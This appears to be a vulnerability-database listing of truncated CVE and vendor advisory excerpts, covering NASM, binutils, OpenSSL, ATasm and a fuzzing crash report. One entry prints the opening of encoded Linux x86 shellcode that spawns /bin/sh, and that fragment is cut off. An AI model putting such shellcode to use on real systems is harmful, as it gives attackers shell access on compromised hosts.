UBUNTU-CVE-2019-20334

In Netwide Assembler NASM 2.14.02, stack consumption occurs in expr functions in asm/eval.c. This potentially affects the relationships among expr0, expr1, expr2, expr3, expr4, expr5, and expr6 and stdscan in asm/stdscan.c. This is similar to CVE-2019-6290 and CVE-2019-6291...

CVE-2019-20334

CVE-2019-20334 affects NASM 2.14.02 with stack consumption in the eval code paths (asm/eval.c) specifically in the expr# functions (expr, rexp, bexpr, cexpr) and related relationships to expr0–expr6 (and stdscan in asm/stdscan.c). The Microsoft/MSRC entry describes a stack-exhaustion DoS caused b...

ATasm Buffer Overflow Vulnerability

ATasm is a command line cross assembler for the 6502 microprocessor A buffer overflow vulnerability exists in the 'getsignedexpression' function of the setparse.c file in ATasm version 1.06. The vulnerability stems from a networked system or product performing operations in memory without properl...

openssl security, bug fix, and enhancement update

1.1.1c-2 - do not try to use EC groups disallowed in FIPS mode in TLS - fix Valgrind regression with constant-time code 1.1.1c-1 - update to the 1.1.1c release 1.1.1b-6 - adjust the default cert pbe algorithm for pkcs12 -export in the FIPS mode 1.1.1b-5 - Fix small regressions related to the reba...

openSUSE Security Update : binutils (openSUSE-2019-2432)

This update for binutils fixes the following issues : binutils was updated to current 2.32 branch jscECO-368. Includes following security fixes : - CVE-2018-17358: Fixed invalid memory access in bfdstabsectionfindnearestline in syms.c bsc1109412 - CVE-2018-17359: Fixed invalid memory access exist...

openSUSE Security Update : binutils (openSUSE-2019-2415)

This update for binutils fixes the following issues : binutils was updated to current 2.32 branch jscECO-368. Includes following security fixes : - CVE-2018-17358: Fixed invalid memory access in bfdstabsectionfindnearestline in syms.c bsc1109412 - CVE-2018-17359: Fixed invalid memory access exist...

Security update for binutils (moderate)

openSUSE Security Update: Security update for binutils Announcement ID: openSUSE-SU-2019:2415-1 Rating: moderate References: 1109412 1109413 1109414 1111996 1112534 1112535 1113247 1113252 1113255 1116827 1118644 1118830 1118831 1120640 1121034 1121035 1121056 1133131 1133232 1141913 1142772...

CVE-2018-0733

Because of an implementation bug the PA-RISC CRYPTOmemcmp function is effectively reduced to only comparing the least significant bit of each byte. This allows an attacker to forge messages that would be considered as authenticated in an amount of tries lower than that guaranteed by the security...

SUSE SLED15 / SLES15 Security Update : binutils (SUSE-SU-2019:2780-1)

This update for binutils fixes the following issues : binutils was updated to current 2.32 branch jscECO-368. Includes following security fixes : CVE-2018-17358: Fixed invalid memory access in bfdstabsectionfindnearestline in syms.c bsc1109412 CVE-2018-17359: Fixed invalid memory access exists in...

SUSE SLED15 / SLES15 Security Update : binutils (SUSE-SU-2019:2779-1)

This update for binutils fixes the following issues : binutils was updated to current 2.32 branch jscECO-368. Includes following security fixes : CVE-2018-17358: Fixed invalid memory access in bfdstabsectionfindnearestline in syms.c bsc1109412 CVE-2018-17359: Fixed invalid memory access exists in...

cryptofuzz:cryptofuzz-openssl-noasm: Use-of-uninitialized-value in SEED_set_key

Project: https://github.com/guidovranken/cryptofuzz.git Detailed Report: https://oss-fuzz.com/testcase?key=5706649829900288 Project: cryptofuzz Fuzzing Engine: libFuzzer Fuzz Target: cryptofuzz-openssl-noasm Job Type: libfuzzermsancryptofuzz Platform Id: linux Crash Type: Use-of-uninitialized-val...

SUSE SLED12 / SLES12 Security Update : binutils (SUSE-SU-2019:2650-1)

This update for binutils fixes the following issues : binutils was updated to current 2.32 branch @7b468db3 jscECO-368 : Includes the following security fixes : CVE-2018-17358: Fixed invalid memory access in bfdstabsectionfindnearestline in syms.c bsc1109412 CVE-2018-17359: Fixed invalid memory...

Linux/x86 - NOT + XOR-N + Random Encoded /bin/sh Shellcode (132 bytes)

Date: 4th October 2019 Shellcode Author: @bolonobolo - https://bolonobolo.github.io Tested on: Linux x86 execve.asm global start section .text start: ; put NULL bytes in the stack xor eax, eax push eax //bin/sh push 0x68732f6e push 0x69622f2f mov ebx, esp ; push NULL in the EDX position push eax...

The vulnerability of the libnasm.a component of the Netwide Assembler (NASM) assembly language allows a hacker to trigger a service failure.

The vulnerability of the libnasm.a component of the Netwide Assembler NASM compiler is related to the assignment of a zero pointer. Exploiting this vulnerability could allow an attacker to cause a service failure...

Null pointer dereference

In libnasm.a in Netwide Assembler NASM 2.14.xx, asm/pragma.c allows a NULL pointer dereference in processpragma, searchpragmalist, and nasmsetlimit when "%pragma limit" is mishandled...

UBUNTU-CVE-2019-14248

In libnasm.a in Netwide Assembler NASM 2.14.xx, asm/pragma.c allows a NULL pointer dereference in processpragma, searchpragmalist, and nasmsetlimit when "%pragma limit" is mishandled...

CVE-2019-14248

In libnasm.a in Netwide Assembler NASM 2.14.xx, asm/pragma.c allows a NULL pointer dereference in processpragma, searchpragmalist, and nasmsetlimit when "%pragma limit" is mishandled...

CVE-2019-14248

Summary: CVE-2019-14248 affects Netwide Assembler (NASM) 2.14.x in the libnasm.a library. The flaw is a NULL pointer dereference in asm/pragma.c (functions: process_pragma, search_pragma_list, nasm_set_limit) when the string "%pragma limit" is mishandled. Impact (per provided metrics): CVSSv2 ind...

Netwide Assembler Code Issue Vulnerability

Netwide Assembler NASM is a Linux-based assembler. The product is capable of creating binaries and writing bootloaders. A code issue vulnerability exists in Netwide Assembler. The vulnerability stems from an improperly designed or implemented code development process for a networked system or...

PT-2019-2955 · Netwide +2 · Netwide Assembler +2

Name of the Vulnerable Software and Affected Versions: Netwide Assembler NASM versions 2.14.xx Description: The issue is related to a NULL pointer dereference in the libnasm.a component of the Netwide Assembler NASM. This can be triggered when the "%pragma limit" is mishandled, specifically in th...